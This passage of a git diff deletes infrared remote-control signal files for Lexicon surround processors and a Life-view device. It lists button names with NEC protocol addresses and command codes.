-type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 98 00 00 00 -# -name: PGM_TRIGGER_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 98 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 99 00 00 00 -# -name: PGM_TRIGGER_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 99 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9A 00 00 00 -# -name: BALANCE_CENTERED -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9A 00 00 00 -# -name: PWR:_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9B 00 00 00 -# -name: EQ_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9B 00 00 00 -# -name: PWR:_STANDBY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9B 00 00 00 -# -name: MAIN:_STATUS_(INPUT) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9C 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9D 00 00 00 -# -name: MAIN:_BALANCE_REAR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9D 00 00 00 -# -name: REMOTE_TRIGGER_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9E 00 00 00 -# -name: FX_NIGHTCLUB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A0 00 00 00 -# -name: MAIN:_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A0 00 00 00 -# -name: FX_CONCERT_HALL -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A1 00 00 00 -# -name: ZONE:_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A1 00 00 00 -# -name: FX_CHURCH -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A2 00 00 00 -# -name: REC:_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A2 00 00 00 -# -name: FX_CATHEDRAL -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A3 00 00 00 -# -name: MAIN:_EQ_LOUD_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A3 00 00 00 -# -name: INPUT_EXPANSION_PORT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A4 00 00 00 -# -name: MAIN:_EQ_LOUD_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A4 00 00 00 -# -name: FX_PANORAMA -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A5 00 00 00 -# -name: FX_MONO_LOGIC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A6 00 00 00 -# -name: MAIN:_EQ_BASS_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A6 00 00 00 -# -name: FX_MUSIC_SURROUND -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A7 00 00 00 -# -name: MAIN:_EQ_TREBLE_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A7 00 00 00 -# -name: MAIN:_EQ_TILT_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A8 00 00 00 -# -name: MAIN:_EQ_BASS_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: A9 00 00 00 -# -name: MAIN:_EQ_TREBLE_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: AA 00 00 00 -# -name: MAIN:_EQ_TILT_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: AB 00 00 00 -# -name: REC:_VOLUME_TO_-30 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: C3 00 00 00 -# -name: REC:_VOLUME_TO_-15 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: C4 00 00 00 -# -name: REC:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: C8 00 00 00 -# -name: REC:_BALANCE_CENTER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: C9 00 00 00 -# -name: REC:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: CA 00 00 00 -# -name: REC:_VOL_FULL_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: D5 00 00 00 -# -name: REC:_VOLUME_-1DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: D6 00 00 00 -# -name: REC:_VOLUME_+1DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: D7 00 00 00 -# -name: TRIGGER_2:_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: DA 00 00 00 -# -name: TRIGGER_2:_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: DB 00 00 00 -# -name: REC:_STATUS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: DC 00 00 00 -# -name: REC:_INPUT_DVD_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E0 00 00 00 -# -name: REC:_INPUT_DVD_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E1 00 00 00 -# -name: REC:_INPUT_LD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E2 00 00 00 -# -name: REC:_INPUT_TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E3 00 00 00 -# -name: REC:_INPUT_SAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E4 00 00 00 -# -name: REC:_INPUT_VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E5 00 00 00 -# -name: REC:_INPUT_CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E6 00 00 00 -# -name: REC:_INPUT_PVR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E7 00 00 00 -# -name: REC:_INPUT_GAME -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E8 00 00 00 -# -name: REC:_INPUT_TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: E9 00 00 00 -# -name: REC:_INPUT_TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: EA 00 00 00 -# -name: REC:_INPUT_AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir deleted file mode 100644 index d2d10e069..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir +++ /dev/null @@ -1,788 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU_UP_ARROW -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 01 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 01 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 02 00 00 00 -# -name: FRONT_PANEL_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 03 00 00 00 -# -name: FP_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 03 00 00 00 -# -name: FRONT_PANEL_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 04 00 00 00 -# -name: FP_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 04 00 00 00 -# -name: OSD_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 05 00 00 00 -# -name: MENU_SELECT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 08 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 08 00 00 00 -# -name: MENU_DONE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0A 00 00 00 -# -name: DONE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0A 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0C 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0C 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0D 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0D 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0E 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0E 00 00 00 -# -name: INPUT_AUX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 0F 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 10 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 10 00 00 00 -# -name: INPUT_V-DISC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 11 00 00 00 -# -name: V_DISC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 11 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 12 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 12 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 13 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 13 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 15 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 17 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 18 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 19 00 00 00 -# -name: FX_UP -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 1A 00 00 00 -# -name: FX_DOWN -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 1B 00 00 00 -# -name: MENU_DOWN_ARROW -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 1D 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 1D 00 00 00 -# -name: FX_DOLBY -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 20 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 20 00 00 00 -# -name: FX_THX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 21 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 21 00 00 00 -# -name: FX_LOGIC_7 -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 22 00 00 00 -# -name: LOGIC_7 -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 22 00 00 00 -# -name: FX_DTS -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 23 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 23 00 00 00 -# -name: FX_2-CHANNEL -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 24 00 00 00 -# -name: 2_CH -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 24 00 00 00 -# -name: FX_PARTY -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 25 00 00 00 -# -name: PARTY -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 25 00 00 00 -# -name: FX_TV_MATRIX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 26 00 00 00 -# -name: TV_MATRIX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 26 00 00 00 -# -name: FX_MUSIC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 27 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 27 00 00 00 -# -name: R/Z-2_+_OSD_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 42 00 00 00 -# -name: R/Z-2_+_FP_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 43 00 00 00 -# -name: R/Z-2_+_FP_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 44 00 00 00 -# -name: MENU_STATUS -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 45 00 00 00 -# -name: Z-2_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 48 00 00 00 -# -name: Z-2_BALANCE_LEFT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 4A 00 00 00 -# -name: R/Z-2_INPUT_TAPE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 4C 00 00 00 -# -name: R/Z-2_INPUT_TUNER -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 4D 00 00 00 -# -name: R/Z-2_INPUT_CD -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 4E 00 00 00 -# -name: R/Z-2_INPUT_AUX -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 4F 00 00 00 -# -name: R/Z-2_INPUT_TV -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 50 00 00 00 -# -name: R/Z-2_INPUT_V-DISC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 51 00 00 00 -# -name: R/Z-2_INPUT_DVD -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 52 00 00 00 -# -name: R/Z-2_INPUT_VCR -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 53 00 00 00 -# -name: Z-2_MUTE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 55 00 00 00 -# -name: Z-2_VOLUME_- -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 56 00 00 00 -# -name: Z-2_VOLUME_+ -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 57 00 00 00 -# -name: Z-2_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 58 00 00 00 -# -name: Z-2_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 59 00 00 00 -# -name: MENU_LOCK_ON_LOCK -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 5A 00 00 00 -# -name: R/Z-2_+_FX_DOWN -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 5B 00 00 00 -# -name: Z-2_VOLUME_TO_-30DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 60 00 00 00 -# -name: Z-2_VOLUME_TO_-20DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 61 00 00 00 -# -name: Z-2_VOLUME_TO_-10DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 62 00 00 00 -# -name: Z-2_VOLUME_TO_+00DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 63 00 00 00 -# -name: VOLUME_TO_-30_DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 64 00 00 00 -# -name: VOLUME_TO_-20_DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 65 00 00 00 -# -name: VOLUME_TO_-10_DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 66 00 00 00 -# -name: VOLUME_TO_+00_DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 67 00 00 00 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 81 00 00 00 -# -name: FRONT_FADER -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 81 00 00 00 -# -name: MENU_BACK_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 82 00 00 00 -# -name: SHIFT_+_FP_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 83 00 00 00 -# -name: SHIFT_+_FP_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 84 00 00 00 -# -name: MENU_BACK_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 85 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 88 00 00 00 -# -name: R_BALANCE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 88 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8A 00 00 00 -# -name: L_BALANCE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8A 00 00 00 -# -name: EQ_LOUDNESS_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8C 00 00 00 -# -name: LOUDNESS_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8C 00 00 00 -# -name: EQ_TILT_- -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8D 00 00 00 -# -name: EQ_TREBLE_- -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8E 00 00 00 -# -name: TREBLE_DOWN -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8E 00 00 00 -# -name: EQ_BASS_- -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8F 00 00 00 -# -name: BASS_LEVEL_DOWN -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 8F 00 00 00 -# -name: EQ_LOUDNESS_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 90 00 00 00 -# -name: LOUDNESS_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 90 00 00 00 -# -name: EQ_TILT_+ -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 91 00 00 00 -# -name: EQ_TREBLE_+ -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 92 00 00 00 -# -name: TREBLE_UP -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 92 00 00 00 -# -name: EQ_BASS_+ -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 93 00 00 00 -# -name: BASS_LEVEL_UP -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 93 00 00 00 -# -name: VOLUME_FULL_MUTE -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 95 00 00 00 -# -name: VOLUME_-5_DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 96 00 00 00 -# -name: VOLUME_+5_DB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 97 00 00 00 -# -name: PGM_TRIGGER_ON -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 98 00 00 00 -# -name: PGM_TRIGGER_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 99 00 00 00 -# -name: BALANCE_CENTERED -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 9A 00 00 00 -# -name: EQ_OFF -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 9B 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 9D 00 00 00 -# -name: REAR_FADER -type: parsed -protocol: NECext -address: 85 02 00 00 -command: 9D 00 00 00 -# -name: FX_NIGHTCLUB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A0 00 00 00 -# -name: NIGHTCLUB -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A0 00 00 00 -# -name: FX_CONCERT_HALL -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A1 00 00 00 -# -name: CONCERT_HALL -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A1 00 00 00 -# -name: FX_CHURCH -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A2 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A2 00 00 00 -# -name: FX_CATHEDRAL -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A3 00 00 00 -# -name: CATHEDRAL -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A3 00 00 00 -# -name: INPUT_EP_/_2-CHANNEL -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A4 00 00 00 -# -name: FX_PANORAMA -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A5 00 00 00 -# -name: PANORAMA -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A5 00 00 00 -# -name: FX_MONO_LOGIC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A6 00 00 00 -# -name: MONO_LOGIC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A6 00 00 00 -# -name: FX_MUSIC_SURROUND -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A7 00 00 00 -# -name: MUSIC_LOGIC -type: parsed -protocol: NECext -address: 85 02 00 00 -command: A7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir deleted file mode 100644 index 3aa20f99c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 41 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 42 00 00 00 -# -name: REAR_DELAY_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 43 00 00 00 -# -name: PARAM_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 44 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 45 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 46 00 00 00 -# -name: REAR_DELAY_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 47 00 00 00 -# -name: PARAM_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 48 00 00 00 -# -name: MONO_LOGIC -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 4C 00 00 00 -# -name: MUSIC_LOGIC -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 50 00 00 00 -# -name: DOLBY_PRO-LOGIC -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 54 00 00 00 -# -name: MUTE_MAIN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 55 00 00 00 -# -name: MUTE_SURROUND -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 56 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 57 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 58 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 83 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 84 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 87 00 00 00 -# -name: ON/OFF-SIMPLE_REMOTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 88 00 00 00 -# -name: PANORAMA_NORMAL_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 89 00 00 00 -# -name: PANORAMA_WIDE_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8A 00 00 00 -# -name: PANORAMA_BINAURAL_3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8B 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8C 00 00 00 -# -name: AMBIENCE_SMALL_4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8D 00 00 00 -# -name: AMBIENCE_MEDIUM_5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8E 00 00 00 -# -name: AMBIENCE_LARGE_6 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8F 00 00 00 -# -name: PARAM -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 90 00 00 00 -# -name: REVERB_SMALL_7 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 91 00 00 00 -# -name: REVERB_MEDIUM_8 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 92 00 00 00 -# -name: REVERB_LARGE_9 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 93 00 00 00 -# -name: PARAM_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 94 00 00 00 -# -name: SURROUND_TV_10 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 95 00 00 00 -# -name: SURROUND_MUSIC_11 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 96 00 00 00 -# -name: SURROUND_FULL_12 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 97 00 00 00 -# -name: PARAM_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 98 00 00 00 -# -name: SURROUND_MONO_13 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 99 00 00 00 -# -name: SURROUND_DOLBY_14 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 9A 00 00 00 -# -name: SURROUND_THX_15 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 9B 00 00 00 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 9E 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A1 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A3 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A6 00 00 00 -# -name: EFFECT_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A9 00 00 00 -# -name: EFFECT_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AA 00 00 00 -# -name: MUTE_EFFECT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AB 00 00 00 -# -name: MUTE_MAIN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AC 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AD 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AE 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AF 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: B0 00 00 00 -# -name: PANORAMA_NORMAL_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C2 00 00 00 -# -name: PANORAMA_WIDE_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C3 00 00 00 -# -name: PANORAMA_BINAURAL_3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C4 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C5 00 00 00 -# -name: AMBIENCE_SMALL_4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C6 00 00 00 -# -name: AMBIENCE_MEDIUM_5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C7 00 00 00 -# -name: AMBIENCE_LARGE_6 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C8 00 00 00 -# -name: PARAM -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: C9 00 00 00 -# -name: REVERB_SMALL_7 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: CA 00 00 00 -# -name: REVERB_MEDIUM_8 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: CB 00 00 00 -# -name: REVERB_LARGE_9 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: CC 00 00 00 -# -name: PARAM_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: CD 00 00 00 -# -name: MUTE_EFFECT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D0 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D2 00 00 00 -# -name: EFFECT_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D3 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D4 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D5 00 00 00 -# -name: PARAM_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D7 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D8 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: D9 00 00 00 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: DA 00 00 00 -# -name: EFFECT_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: DB 00 00 00 -# -name: SURROUND_MONO_10 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: DC 00 00 00 -# -name: SURROUND_STEREO_11 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: DD 00 00 00 -# -name: SURROUND_DOLBY_12 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: DE 00 00 00 -# -name: MUTE_SYTEM -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: E1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir deleted file mode 100644 index 48ef07e2f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 00 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 02 00 00 